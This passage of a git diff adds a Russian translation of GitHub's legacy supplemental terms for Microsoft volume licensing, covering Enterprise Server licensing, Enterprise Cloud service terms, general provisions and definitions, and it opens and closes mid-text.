предоставляет в соответствии с взаимно исполняемым ТЗ. Профессиональные услуги не включают Поддержку. + +**«Общедоступный репозиторий»** означает репозиторий, Контент которого виден Всем пользователям. + +**"Выпуск"** означает выпуск Программного обеспечения, который GitHub делает общедоступным для своих Клиентов, а также все соответствующие изменения в Документации, которая содержит описание улучшений, новых функций или новых функциональных возможностей; они, как правило, обозначаются изменением цифры справа от первой десятичной запятой (например, с x.x.x до x.y.x) или слева от первой десятичной запятой (например, с x.x.x до y.x.x). + +**"Представители"** означают сотрудников, агентов, независимых подрядчиков, консультантов, юридических и финансовых консультантов Стороны. + +**«Скрейпинг»** означает извлечение данных из Сервиса с помощью автоматизированного процесса, такого как бот или веб-краулер, и не включает сбор информации через API GitHub. + +**"Сервис"** означает размещенную службу GitHub в Облаке предприятия. Сервис включает в себя учетные записи Организации, единый вход SAML, подготовку доступа и всю соответствующую Документацию. Этот список функций и служб не является исчерпывающим и может время от времени обновляться. + +**"Компенсация за обслуживание"** означает компенсацию в долларах США, рассчитываемую, как указано ниже, которую GitHub может зачислить обратно на уполномоченный счет. + +**"Программное обеспечение"** означает локальное программное обеспечение GitHub Enterprise Server. Программное обеспечение включает функцию GitHub Connect, всю сопутствующую Документацию, все Обновления Программного обеспечения, которые GitHub предоставляет Клиенту или к которым Клиент может получить доступ в рамках этого Соглашения, и (если включено в подписку Клиента) Программное обеспечение надстройки. + +**"ТЗ"** означает взаимно оформленное техническое задание с подробным описанием Профессиональных услуг, которые GitHub будет выполнять, любых связанных сборов и соответствующих обязательств каждой Стороны. + +**"Лицензия на подписку"** означает лицензию, назначенную каждому Пользователю для установки, эксплуатации, доступа и использования Продуктов от имени Клиента. Клиент может назначить только одну Лицензию на подписку для каждого Пользователя в своих экземплярах GitHub Enterprise Server и облачных организациях в Облаке предприятия GitHub. Каждый Пользователь будет иметь доступ к такому количеству экземпляров Enterprise Server или организаций в Облаке предприятия, которое разрешено Клиентом. Но для ясности следует отметить, что после того, как Клиент передает Лицензию на подписку Пользователю, Клиент не будет авторизован для разделения Лицензии на подписку таким образом, чтобы один Пользователь мог использовать Лицензию на подписку на Enterprise Server, а другой Пользователь использовал ту же Лицензию на другой экземпляр GitHub Enterprise Server или организацию в Облаке предприятия GitHub. + +**"Срок действия подписки"**  — один год с даты вступления в силу заказа или иной срок, указанный в Форме заказа. + +**"Поддержка"** означает техническую поддержку Программного обеспечения или Сервиса, которую может предоставлять GitHub. + +**"Обновление"** означает выпуск Программного обеспечения, который GitHub делает общедоступным для своих Клиентов, а также все соответствующие изменения в Документации, которая содержит исправление ошибок, как правило, обозначаются изменением цифры справа от второй десятичной запятой (например, с x.x.x до x.x.y). + +**"Время доступности"** — время (в процентном выражении) в данном квартале, когда Основные службы GitHub работают бесперебойно и без Сбоя, затрагивающего более 50 % Активных пользователей. + +**"Пользователь"**  — (i) в отношении Программного обеспечения: Учетная запись физического лица или компьютера, которая инициирует запуск Программного обеспечения, взаимодействует с Программным обеспечением или контролирует производительность его функций; (ii) в отношении Сервиса: Учетная запись физического лица или компьютера, которая (а) осуществляет доступ или использует Сервис; (b) использует любую часть учетной записи Клиента или осуществляет к ней доступ или (с) контролирует использование учетной записи Клиента в плане производительности функций (во всех случаях от имени Пользователя). Количество Пользователей не должно превышать количество Лицензий на подписку, которые приобрел Клиент. + +**«Контент, создаваемый пользователями»** означает Контент, созданный или принадлежащий третьему лицу или Внешнему пользователю. diff --git a/translations/ru-RU/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md new file mode 100644 index 000000000000..7cd704aefd58 --- /dev/null +++ b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md @@ -0,0 +1,327 @@ +--- +title: Дополнительные условия корпоративного лицензирования Майкрософт для GitHub +hidden: true +redirect_from: + - /articles/GitHub-Supplemental-Terms-for-Microsoft-Volume-Licensing + - /articles/github-supplemental-terms-for-microsoft-volume-licensing + - /github/site-policy/github-supplemental-terms-for-microsoft-volume-licensing + - /github/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing +versions: + fpt: '*' +ms.openlocfilehash: 2cb8974211c2aca335a86b14856fac75ed51d041 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099273' +--- +_Эти условия действуют для клиентов, которые лицензировали продукты до 4 января 2021 г. Для клиентов, приобретающих продукты GitHub после этой даты, действуют текущие условия, изложенные на странице https://www.github.com/enterprise-legal._ + +Изложенные ниже Дополнительные условия GitHub (включая любые применимые Формы заказа) дополняют соглашение Клиента с Майкрософт о корпоративном лицензировании о лицензировании ( **"Клиентское соглашение Майкрософт"** ) и вместе с Клиентским соглашением Майкрософт регулируют использование Клиентом Продуктов (как определено ниже). Клиентское соглашение Майкрософт включено в этот документ посредством данной ссылки. Термины с заглавной буквы, используемые, но не определенные в этих Дополнительных условиях, имеют значения, присвоенные им в Клиентском соглашении Майкрософт. + +Эти Дополнительные условия применяются к следующим Предложениям GitHub, как определено ниже (в совокупности **"Продукты"** ): + +- GitHub Enterprise (состоит из GitHub Enterprise Server, который может включать Дополнительное программное обеспечение и GitHub Enterprise Cloud); + +- Любая соответствующая Поддержка; и + +- Любые сопутствующие Профессиональные услуги. + +Эти Дополнительные условия GitHub включают следующие разделы и приложения, каждое из которых включено в этот документ путем ссылки: + +* РАЗДЕЛ 1. Условия лицензирования GitHub Enterprise Server. + +* РАЗДЕЛ 2. Условия предоставления услуг для GitHub Enterprise Cloud. + +* РАЗДЕЛ 3. Общие положения. + +* ПРИЛОЖЕНИЕ А. Определения. + + + +## РАЗДЕЛ 1. УСЛОВИЯ ЛИЦЕНЗИРОВАНИЯ GITHUB ENTERPRISE SERVER + +В этом разделе 1 подробно описаны условия, применимые к использованию Клиентом Программного обеспечения. + +### 1.1. Предоставление лицензии. + +GitHub предоставляет Клиенту неисключительную, не подлежащую передаче, глобальную, не предусматривающую уплаты роялти лицензию с ограниченным сроком действия на установку и использование Программного обеспечения для внутренних коммерческих целей Клиента в течение применимого Срока действия подписки в соответствии с Документацией, и только такое количество Лицензий на подписку, которое указано в Форме заказа Клиента. Программное обеспечение включает компоненты, лицензированные для GitHub третьими лицами, включая программное обеспечение, лицензии на которое предполагают, что GitHub предоставит доступ к исходному коду этих компонентов. Исходный код таких компонентов будет предоставляться по запросу. Без ущерба для вышеизложенных положений настоящая лицензия разрешает Клиенту загружать и запускать образ контейнера Microsoft SQL Server Standard Edition для файлов Linux (**Образы SQL Server**), которые можно использовать только для Программного обеспечения в соответствии с документацией. Право Клиента на использование Образов SQL Server прекращается, если Клиент теряет право на использование Программного обеспечения, и Клиент должен удалить Образы SQL Server после прекращения права Клиента на использование. Корпорация Microsoft может отключить Образы SQL Server в любое время. + +### 1.2. Ограничения. + +За исключением случаев, когда это прямо разрешено законодательством или действующей сторонней лицензией, Клиент и его Аффилированные лица не должны (и не должны разрешать каким-либо третьим лицам): (i) сублицензировать, продавать, предоставлять в прокат, в аренду, передавать, назначать Программное обеспечение или осуществлять его вторичное распространение; (ii) размещать Программное обеспечение в пользу третьих лиц; (iii) раскрывать или разрешать третьим лицам осуществлять доступ к Программному обеспечению, за исключением случаев, когда это явно разрешено положениями этого раздела 1; (iv) взламывать или изменять Лицензионный ключ, обходить или изменять какую-либо процедуру регистрации лицензии; (v) за исключением Модификаций Клиента, изменять и создавать производные работы на основе Программного обеспечения или объединять Программное обеспечение с другим программным обеспечением; (vi) дизассемблировать, декомпилировать Программное обеспечение, обходить обфускацию его кода или иным образом изучать технологию Программного обеспечения либо пытаться полностью или частично извлечь его исходный код; (vii) изменять, скрывать или удалять уведомления об авторском праве, включенные в Программное обеспечение или Документацию; (viii) использовать или копировать Программное обеспечение или Документацию иным способом, который не разрешен явно этими Дополнительными условиями GitHub. + +### 1.3. Доставка. + +GitHub обязуется сделать Лицензионный ключ доступным для скачивания Клиентом на надежном защищенном паролем веб-сайте. Доставка в соответствии с разделом 1 осуществляется в электронном формате. Во избежание двусмысленного толкования: Клиент несет ответственность за установку любого Программного обеспечения и подтверждает, что GitHub не несет никаких дополнительных обязательств по доставке Программного обеспечения после доставки Ключа лицензии. По мере появления Обновлений GitHub обязуется сделать их доступными для загрузки на том же веб-сайте. Клиент обязуется обновлять Программное обеспечение за обоснованную плату, но не менее одного раза в год. За обеспечение конфиденциальности имен пользователя и паролей Клиента отвечает Клиент. + +### 1.4. Проверка. + +По запросу GitHub Клиент обязуется в кратчайший срок предоставить GitHub отчет, созданный Программным обеспечением, чтобы подтвердить, что Клиент использует Программное обеспечение в соответствии с этими Дополнительными условиями GitHub. GitHub будет выставлять Клиенту счет за все случаи дополнительного использования, начиная с даты, когда объем такого использования впервые превысит объем, предусмотренный этими Дополнительными условиями GitHub. + +### 1.5. Поддержка. + +GitHub обязуется предоставлять техническую поддержку Программного обеспечения, как более подробно описано в Клиентском соглашении Майкрософт. GitHub вправе предоставлять расширенные предложения поддержки для Программного обеспечения и Службы (включая предложения уровня "Премиум", "Премиум Плюс" и "Прямая техническая поддержка") в соответствии с [Условиями поддержки](/enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise), а также (на уровне Поддержки), с разделами "Комиссии" и "Срок действия подписки", приведенными в Форме заказа или ТЗ. Невзирая на какие-либо положения об обратном в Клиентском соглашении Майкрософт, (i) GitHub обязуется приложить разумные усилия для исправления любых существенных, воспроизводимых ошибок в Программном обеспечении после уведомления Клиента об ошибке, но не будет нести ответственность за предоставление Поддержки в случаях, когда: а) кто-либо (кроме GitHub) вносит изменения в Программное обеспечение; б) Клиент изменяет свою операционную систему или среду таким образом, что это негативно влияет на Программное обеспечение или его производительность; в) Клиент использует Программное обеспечение способом, отличным от разрешенного в соответствии с Клиентским соглашением Майкрософт, этим разделом 1 или Документацией; или г) в результате несчастного случая, небрежности или неправильного использования Программного обеспечения со стороны Клиента; (ii) GitHub обязуется поддерживать только указанный Выпуск в течение одного (1) года с даты первоначального Выпуска или шести (6) месяцев с момента последнего Обновления этого Выпуска, в зависимости от того, какой срок больше. + +### 1.6. Обновления; выпуски. + +#### 1.6.1 Общие положения. + +GitHub обязуется сделать обновления и выпуски программного обеспечения доступными для Клиента на том же защищенном веб-сайте, с которого Клиент загрузил Программное обеспечение и Лицензионный ключ. + +#### 1.6.2. Поддерживаемые выпуски. + +GitHub обязуется поддерживать только указанный Выпуск Программного обеспечения в течение одного (1) года с даты первоначального Выпуска или шести месяцев (6) с момента последнего Обновления этого Выпуска, в зависимости от того, какой срок больше. Если Клиенту требуется поддержка более ранних выпусков программного обеспечения, Клиент должен заплатить за такую поддержку в соответствии с условиями взаимно согласованной Формы заказа или ТЗ. + +### 1.7. Дополнительное программное обеспечение. + +Для Дополнительного программного обеспечения предоставляется лицензия по числу Пользователей. Во избежание двусмысленного толкования: если иное не указано в Форме заказа, количество Лицензий на подписку на Дополнительное программное обеспечение, которыми владеет Клиент в любой момент времени, должно совпадать с количеством имеющихся у Клиента Лицензий на подписку на Продукты в рамках этого Соглашения. Например, если Клиент хочет приобрести подписку на Insights и уже имеет лицензии на подписку на Продукты для 100 пользователей, он должен приобрести Лицензии на подписку на Insights для 100 пользователей. + +### 1.8. Рекомендации по защите данных при использовании GitHub Insights и Учебной лаборатории для Enterprise Server. + +Если планируемое использование Клиентом GitHub Insights или Учебной лаборатории для Enterprise Server предполагает обработку персональных данных, то Клиент несет единоличную ответственность за определение необходимости проведения оценки воздействия на защиту данных или иного официального юридического анализа планируемого использования Клиентом. Клиент по собственному усмотрению решает, требуется ли использование GitHub Insights или Учебной лаборатории для Enterprise Server для обработки данных пользователей и (или) сотрудников Клиента, и если Клиент придет к такому решению, он несет единоличную ответственность за такую обработку в соответствии с применимым законодательством. + +### 1.9. Ограниченная гарантия на Программное обеспечение. + +GitHub гарантирует, что в течение девяноста (90) дней с даты предоставления доступа для первоначальной загрузки Программное обеспечение в неизмененном виде будет в основном соответствовать Документации. GitHub не гарантирует бесперебойную работу Программного обеспечения и отсутствие ошибок в процессе его использования Клиентом. Эта гарантия не применяется в случае, если Клиент изменяет Программное обеспечение или использует его способом, который не разрешен явно положениями этого раздела 1 и Документации. Единственное обязательство GitHub и единственное средство правовой защиты Клиента в случае нарушения этой ограниченной гарантии изложено в положениях Клиентского соглашения Майкрософт. + +## РАЗДЕЛ 2. УСЛОВИЯ ПРЕДОСТАВЛЕНИЯ УСЛУГ ДЛЯ GITHUB ENTERPRISE CLOUD + +После создания Клиентом или GitHub от имени Клиента Корпоративной учетной записи и (или) Организации в Службе в этом разделе 2 приводится подробное описание условий, применяемых в отношении использования Службы Клиентом. + +### 2.1. Условия использования Учетной записи. + +#### 2.1.1. Контроль учетных записей. + + **(i) Пользователи.** Клиент признает, что Пользователи сохраняют за собой окончательный административный контроль над своими индивидуальными учетными записями и Контентом в них. [Стандартные условия обслуживания GitHub](/github/site-policy/github-terms-of-service) регулируют использование Пользователями Службы, за исключением действий Пользователей в соответствии с этим разделом 2. + + **(ii) Организации.** Клиент сохраняет полный административный контроль над любой Организацией, созданной от имени Клиента, и Пользовательским содержимым, размещенным в репозиториях его Организаций, в соответствии с положениями этого раздела 2. Этот раздел 2 регулирует использование Организаций Клиента. + +#### 2.1.2. Требования к учетной записи. + +Для создания учетной записи Клиент должен соблюдать следующее: + +**(i)** Клиент не должен создавать учетную запись для использования любым лицом младше 13 лет. Если GitHub узнает о каком-либо Пользователе младше 13 лет, он немедленно удалит учетную запись этого Пользователя. Если Клиент или его Пользователи находятся за пределами США, минимальный возраст в этой стране может быть выше; в таком случае Клиент несет ответственность за соблюдение законов этой страны. + +**(ii)** Логин пользователя не может использоваться несколькими людьми. + +**(iii)** Клиент не должен использовать Службу: а) в нарушение законов об экспортном контроле или санкциях США или любой другой применимой юрисдикции; б) если он находится или обычно проживает в стране или на территории, на которую распространяются санкции, применяемые Управлением по контролю за иностранными активами США (OFAC); в) если Клиент является [лицом особой категории (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) или лицом, подвергающимся аналогичной блокировке или запретам для исключенных лиц, или работает от имени такого гражданина или лица. Для получения дополнительной информации ознакомьтесь с [Политикой торгового контроля GitHub](/github/site-policy/github-and-trade-controls). + +#### 2.1.3. Безопасность учетной записи. + +Клиент несет ответственность за следующее: (i) все Содержимое, размещенное под его Корпоративной учетной записью, и действия, которые происходят под его Корпоративной учетной записью; (ii) обеспечение безопасности своих учетных данных для входа в учетную запись; и (iii) оперативное [уведомление GitHub](https://support.github.com/contact?tags=docs-policy) после того, как станет известно о любом несанкционированном использовании Службы или доступе к ней через его учетную запись. GitHub не несет ответственности за какие-либо убытки или ущерб в результате несоблюдения Клиентом этого раздела 2.1.3. + +#### 2.1.4. Дополнительные условия. + +В некоторых случаях к использованию Клиентом Службы могут применяться условия третьих лиц. Например, Клиент может быть членом Организации со своими условиями или лицензионными соглашениями; Клиент может загрузить приложение, которое интегрируется с Сервисом; или Клиент может использовать Сервис для аутентификации в другом сервисе. Хотя Клиентское соглашение Майкрософт, включая эти Дополнительные условия GitHub, является полным соглашением GitHub с Клиентом, отношения третьих сторон с Клиентом регулируются их условиями. + +#### 2.1.5. Условия Федерального правительства США. + +Если Клиент является федеральным органом власти США или иным образом получает доступ к Службе или использует любую ее часть в качестве государственного учреждения, применяется [Поправка Федерального правительства США](/github/site-policy/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users), и Клиент соглашается с ее положениями. + +### 2.2. Соблюдение законодательства, Допустимое использование, Конфиденциальность. + +#### 2.2.1. Соблюдение законодательства. + +Использование Клиентом Службы не должно нарушать никакое применимое право, включая законы об авторском праве или товарных знаках, законы об экспортном контроле или правила в его юрисдикции. + +#### 2.2.2. Допустимое использование. + +Использование Клиентом Сервиса должно соответствовать [Политикам допустимого использования GitHub](/github/site-policy/github-acceptable-use-policies) и [Правилам сообщества GitHub](/github/site-policy/github-community-guidelines). Клиент не должен использовать Сервис ни в какой юрисдикции для незаконного, непристойного, оскорбительного или мошеннического Контента или деятельности, такой как пропаганда или причинение вреда, вмешательство или нарушение целостности или безопасности сети или системы, уклонение от фильтров, отправка нежелательных, оскорбительных или вводящих в заблуждение сообщений, вирусов или вредоносного кода или нарушение прав третьих лиц. + +#### 2.2.3. Конфиденциальность. +[Заявление о конфиденциальности GitHub](/github/site-policy/github-privacy-statement) и [Дополнение о защите данных GitHub](/github/site-policy/github-data-protection-addendum) содержат подробное описание методов обеспечения конфиденциальности и использования данных GitHub, а также обязательств GitHub по обработке и обеспечению безопасности в отношении Персональных данных Клиента. Любое физическое, юридическое лицо или служба, собирающие данные Сервиса, должны соблюдать [Заявление о конфиденциальности GitHub](/github/site-policy/github-privacy-statement), в частности в отношении сбора Личной информации пользователя (как определено в заявлении о конфиденциальности GitHub). Если Клиент собирает какую-либо Личную информацию пользователя с GitHub, Клиент будет использовать ее только в целях, для которых Внешний пользователь разрешил ее использовать. Клиент будет разумно защищать любую такую Личную информацию, и Клиент будет незамедлительно реагировать на жалобы, запросы на удаление и запросы «не связываться» от GitHub или Внешних пользователей. + +### 2.3. Ответственность за Содержимое, право собственности, лицензионные права. + +#### 2.3.1. Ответственность за Пользовательское содержимое. +Клиент может создавать или загружать Пользовательский контент во время использования Сервиса. Клиент несет единоличную ответственность за любой Пользовательский контент, который он публикует, загружает, на который он дает ссылку или которой он иным образом делает доступным через Сервис, независимо от формы этого Пользовательского контента. GitHub не несет ответственности за публичный показ или неправомерное использование Пользовательского контента. + +#### 2.3.2. Право собственности на Содержимое, право на публикацию и предоставление лицензий. + +**(i)** Клиент сохраняет за собой право собственности на Содержимое Клиента, которое Клиент создает или которым он владеет. Клиент подтверждает, что он: (a) несет ответственность за Контент клиента, (b) будет предоставлять Контент клиента только в том случае, если Клиент имеет право публиковать (включая Контент третьих лиц или Пользовательский контент), и (c) будет полностью соблюдать любые сторонние лицензии, касающиеся Контента клиента, который Клиент публикует. + +**(ii)** Клиент предоставляет права, изложенные в разделах 2.3.3–2.3.6, бесплатно и для целей, указанных в этих разделах, до тех пор, пока Клиент не удалит Содержимое Клиента с серверов GitHub, за исключением Содержимого, которое было публично размещено Клиентом и для которого Внешними пользователями была создана Вилка, и в этом случае лицензия является бессрочной до тех пор, пока все Вилки Содержимого Клиента не будут удалены с серверов GitHub. Если Клиент загружает Контент клиента, который уже поставляется с лицензией, предоставляющей GitHub разрешения, необходимые для запуска Сервиса, дополнительная лицензия не требуется. + +#### 2.3.3. Предоставление GitHub лицензии. +Клиент предоставляет GitHub право хранить, анализировать и отображать Содержимое Клиента, а также делать дополнительные копии только в том случае, если это необходимо для предоставления Службы. Эта включает право копировать Содержимое Клиента в базу данных GitHub и делать резервные копии; отображать Содержимое Клиента Клиенту и тем, кому Клиент разрешит его показывать; анализировать Содержимое Клиента для включения в поисковый индекс или иным образом анализировать его на серверах GitHub; делиться Содержимым Клиента с Внешними пользователями, с которым Клиент разрешит им поделиться; а также воспроизводить Содержимое Клиента, если это что-то вроде музыки или видео. Эти права распространяются как на общедоступные, так и на Частные репозитории. Эта лицензия не предоставляет GitHub право продавать Контент Клиента или иным образом распространять или использовать его за пределами Сервиса. Клиент предоставляет GitHub права, необходимые для использования Контента клиента без указания авторства и для внесения разумных изменений в Контент клиента, необходимых для предоставления Сервиса. + +#### 2.3.4. Предоставление лицензии Внешним пользователям. +**(i)** Любое Содержимое, публикуемое Клиентом публично, включая вопросы, комментарии и материалы в репозиториях Внешних пользователей, может просматриваться другими лицами. Настраивая свои репозитории для публичного просмотра, Клиент соглашается разрешить Внешним пользователям просматривать и создавать вилки репозиториев Клиента. + +**(ii)** Если Клиент настраивает свои страницы и репозитории для публичного просмотра, Клиент предоставляет Внешним пользователям неисключительную международную лицензию на использование, отображение и исполнение Контента Клиента через Сервис и воспроизведение Контента Клиента исключительно в Сервисе с использованием функций, предоставляемых GitHub (например, создание вилок). Клиент может предоставить дополнительные права на Контент Клиента, если Клиент [примет лицензию](/github/building-a-strong-community/adding-a-license-to-a-repository#including-an-open-source-license-in-your-repository). Если Клиент передает Содержимое Клиента, которое он не создавал и которым он не владел, Клиент несет ответственность за обеспечение того, чтобы загружаемое им Содержимое Клиента было лицензировано в соответствии с условиями, которые предоставляют эти разрешения Внешним пользователям. + +#### 2.3.5. Добавление данных по лицензии репозитория. +Всякий раз, когда Клиент добавляет данные в репозиторий, содержащий уведомление о лицензии, он лицензирует эти добавленные данные на тех же условиях и соглашается с тем, что он имеет право лицензировать такие данные на этих условиях. Если у Клиента есть отдельное соглашение о лицензировании этих данных на других условиях, например лицензионное соглашение участника, такое соглашение будет иметь преимущественную силу. + +#### 2.3.6. Моральные права. +Клиент сохраняет за собой все моральные права на Контент клиента, который он загружает, публикует или отправляет в любую часть Сервиса, включая права на целостность и установление авторства. Однако Клиент отказывается от этих прав и соглашается не предъявлять их к GitHub исключительно для того, чтобы позволить GitHub разумно осуществлять права, предоставленные в разделе 2.3, но не в иных целях. + +### 2.4. Частные репозитории. + +#### 2.4.1. Контроль. + +Клиент несет ответственность за управление доступом к своим Частным репозиториям, включая приглашения, административный контроль за Организациями и командами, а также за прекращением доступа. + +#### 2.4.2. Конфиденциальность. + +GitHub считает Контент клиента в Личных репозиториях клиента Конфиденциальной информацией клиента. GitHub обязуется защищать Содержимое Клиента в частных репозиториях и соблюдать его строгую конфиденциальность в соответствии с применимым положением о конфиденциальности в Клиентском соглашении Майкрософт. + +#### 2.4.3. Доступ. + +GitHub имеет право получать доступ к Частным репозиториям Клиента только (i) с согласия и ведома Клиента в целях поддержки; (ii) в случаях, когда доступ требуется по соображениям безопасности. Клиент может разрешить дополнительный доступ к своим Частным репозиториям. Например, Клиент может включить различные службы или функции GitHub, для которых требуются дополнительные права на Контент клиента в частных репозиториях. Эти права могут различаться в зависимости от службы или функции, но GitHub продолжит рассматривать Контент клиента в Частных репозиториях клиента как Конфиденциальную информацию клиента. Если для этих служб или функций требуются права в дополнение к тем, которые необходимы для предоставления Сервиса, GitHub даст объяснение по поводу этих прав. + +#### 2.4.4. Исключения. + +Если у GitHub есть основания полагать, что Содержимое Частного репозитория нарушает закон или эти Дополнительные условия GitHub, GitHub имеет право получить доступ к такому Содержимому, просмотреть и удалить его. Кроме того, компания GitHub может быть вынуждена по закону раскрыть содержимое Частных репозиториев Клиента. Если иное не предусмотрено в соответствии с требованиями закона или в ответ на угрозу безопасности или иной риск для безопасности, GitHub направит уведомление о таких действиях. + +### 2.5. Уведомления об интеллектуальной собственности. + +#### 2.5.1. Права GitHub на Содержимое. + +Внешний вид Сервиса защищен авторским правом © GitHub, Inc. Все права защищены. Клиент не может дублировать, копировать или повторно использовать какую-либо часть HTML/CSS, Javascript или элементов или концепций визуального дизайна без письменного разрешения GitHub. + +#### 2.5.2. Нарушение авторских прав и политика DMCA. + +Если Клиент является владельцем авторских прав и считает, что Содержимое в Службе нарушает авторские права Клиента, Клиент может обратиться в GitHub в соответствии с [положениями Закона об авторском праве в цифровую эпоху](https://github.com/contact/dmca), уведомив GitHub с помощью [формы DMCA](https://github.com/contact/dmca-notice) или электронного письма, отправленного на адрес copyright@github.com. + +#### 2.5.3. Торговые марки и логотипы GitHub. + +Если Клиент хочет использовать товарные знаки GitHub, Клиент должен следовать всем правилам использования товарных знаков GitHub, в том числе приведенным на [странице политики логотипов и использования GitHub](https://github.com/logos). + +### 2.6. Приостановка. + +GitHub имеет право в любое время приостановить доступ ко всей Службе или любой ее части, включая удаление Содержимого, за нарушение Клиентского соглашения Майкрософт, включая эти Дополнительные условия GitHub, или для защиты целостности, работоспособности и безопасности Службы с немедленным вступлением в силу, с уведомлением или без него. Если это не запрещено законом или судебным процессом или для предотвращения неминуемого вреда Сервису или любому третьему лицу, GitHub обычно предоставляет уведомление в виде баннера или электронного письма во время или до такой приостановки. GitHub по своему усмотрению и добросовестно адаптирует любую приостановку по мере необходимости для сохранения целостности, работоспособности и безопасности Сервиса. + +### 2.7. Коммуникация с GitHub. + +В договорных целях Клиент (1) соглашается получать сообщения в электронной форме на указанный им адрес электронной почты или через Сервис; и (2) соглашается с тем, что все Условия обслуживания, соглашения, уведомления, раскрытия информации и другие сообщения, которые GitHub предоставляет в электронном виде, удовлетворяют любым юридическим требованиям, которым эти сообщения удовлетворяли бы, если бы они были на бумаге. Этот раздел не затрагивает права Клиента, от которых невозможно отказаться. + +### 2.8. Соглашение об уровне обслуживания. + +Ежеквартальные обязательства GitHub по времени доступности для Службы указаны в [Корпоративном соглашении об уровне обслуживания](/github/site-policy/github-enterprise-service-level-agreement). Клиент имеет право на компенсацию за обслуживание, если GitHub не обеспечит соблюдение уровня обслуживания. + +### 2.9. Изменения в Службе. + +GitHub изменяет Сервис посредством обновлений и добавления новых функций. Согласно положениям раздела 2.8 GitHub оставляет за собой право в любое время изменять или прекращать, временно или постоянно, работу Службы (или любой ее части) с уведомлением или без него. + +### 2.10. Дополнительные функции Службы. + +На некоторые функции Сервиса могут распространяться дополнительные условия, изложенные в [Дополнительных условиях для продуктов GitHub](/github/site-policy/github-additional-product-terms). Получая доступ к этим функциям или используя их, Клиент соглашается с Дополнительными условиями для продуктов GitHub. + +## РАЗДЕЛ 3. ОБЩИЕ ПОЛОЖЕНИЯ. + +В этом разделе 3 определены условия и положения, применимые к приобретению и использованию каких-либо Продуктов Клиентом. + +### 3.1. Срок действия, Прекращение и Последствия прекращения. + +#### 3.1.1. Срок действия. +Эти Дополнительные условия GitHub действуют до тех пор, пока их действие не будет прекращено Стороной в соответствии с этим разделом 3.1. + +#### 3.1.2. Прекращение в отсутствие нарушений; Аннулирование учетной записи. +Любая из Сторон может прекратить действие Формы заказа или этих Дополнительных условий GitHub без указания причины, направив предварительное письменное уведомление не менее чем за тридцать (30) дней до истечения действующего на тот момент Срока действия подписки. Если Клиент решит прекратить действие Формы заказа или этих Дополнительных условий GitHub, он обязан надлежащим образом аннулировать свою учетную запись в GitHub, перейдя в "Настройки" на глобальной панели навигации в верхней части экрана. GitHub не может аннулировать учетные записи в ответ на запрос по электронной почте или телефону. + +#### 3.1.3. Прекращение в связи с существенным нарушением. +Любая из Сторон может прекратить действие этих Дополнительных условий GitHub немедленно после уведомления, если другая Сторона нарушит существенное обязательство по этим Дополнительным условиям GitHub и не устранит нарушение в течение тридцати (30) дней с даты получения уведомления. GitHub может прекратить действие этих Дополнительных условий GitHub, если Учетная запись Клиента была заблокирована более чем на 90 дней. + +#### 3.1.4. Последствия прекращения действия. +После прекращения действия этих Дополнительных условий GitHub Клиент не может оформлять новые Формы заказа; однако эти Дополнительные условия GitHub остаются в силе до конца исполнения любых активных Форм заказа. Когда Форма заказа прекращает свое действие или срок действия заказа истекает, в отношении этой Формы заказа: (i) Срок действия подписки немедленно заканчивается; (ii) любые Лицензии на подписку в Форме заказа будут автоматически прекращены и Клиент больше не будет иметь права использовать Продукты; (iii) если какие-либо Сборы подлежали оплате до прекращения, Клиент должен немедленно оплатить эти Сборы; (iv) Клиент обязуется уничтожить все копии Программного обеспечения, находящегося во владении или управлении Клиента, и предоставить GitHub письменное подтверждение этого; (v) каждая Сторона незамедлительно вернет (или, по запросу другой Стороны, уничтожит) всю Конфиденциальную информацию, принадлежащую другой Стороне, в пределах, разрешенных Службой. Невзирая на вышеизложенные положения, Клиент вправе продолжить использование Программного обеспечения для переноса своих данных, а также вправе запросить перенос данных в свои репозитории в течение 90 (девяноста) дней после прекращения или истечения срока действия этого Соглашения или Формы заказа; однако в этот период Клиент не вправе использовать Программное обеспечение или Службу в рабочей среде. Все положения, которые по своему характеру должны обоснованно сохранять свою юридическую силу, сохраняют ее после прекращения или истечения срока действия этого Соглашения или Формы заказа. + +### 3.2. Обратная связь. +Клиент может предоставлять GitHub Обратную связь в отношении Продуктов. Обратная связь носит добровольный характер и не является Конфиденциальной информацией клиента, даже если она обозначена как таковая. GitHub может в полной мере применять и использовать такую обратную связь с целью (i) улучшения работы, функциональности и использования существующих и будущих предложений продуктов GitHub и коммерциализации таких предложений; и (ii) публикации сводных статистических данных о качестве Продуктов при условии, что никакие данные в любой такой публикации не будут использоваться для конкретной идентификации Клиента, его сотрудников или проприетарного программного кода Клиента. + +### 3.3. Соблюдение Законодательства. +Клиент обязуется в процессе использования Продуктов соблюдать все действующие законы и нормативные требования, в том числе законы о защите данных и трудовое законодательство. + +### 3.4. Порядок приоритетности. +В случае противоречий между этими Дополнительными условиями и Формой заказа будет применяться Форма заказа, но только в отношении соответствующего заказа. В случае противоречий между Дополнительными условиями (включая любую Форму заказа) и Клиентским соглашением Майкрософт будут применяться Дополнительные условия, но только в отношении соответствующего вопроса. + +## ПРИЛОЖЕНИЕ А. ОПРЕДЕЛЕНИЯ + +**"Активный пользователь"** означает, что пользователь пытается получить доступ к Сервису во время Сбоя. + +**"Программное обеспечение надстройки"** относится к расширенным функциям безопасности, аналитике, учебной лаборатории для Enterprise Server, а также дополнительному Программному обеспечению надстройки, которое может предлагаться GitHub. + +**"Расширенные функции безопасности"** означает функцию Программного обеспечения, которая позволяет Клиенту выявлять уязвимости безопасности с помощью настраиваемого автоматизированного анализа семантического кода. + +**"Аффилированное лицо"** означает любое юридическое лицо, которое прямо или косвенно контролирует сторону, контролируется стороной или находится под общим контролем со стороной, где "контроль" означает наличие более пятидесяти процентов (50 %) владения или права на управление юридическим лицом. + +**«Все пользователи»** означает совместно Пользователей клиента и Внешних пользователей, которые используют Сервис. + +**"Connect"** или **"GitHub Connect"**  — компонент, включенный в Программное обеспечение, который позволяет Клиенту подключаться к Программному обеспечению посредством Службы. Использование 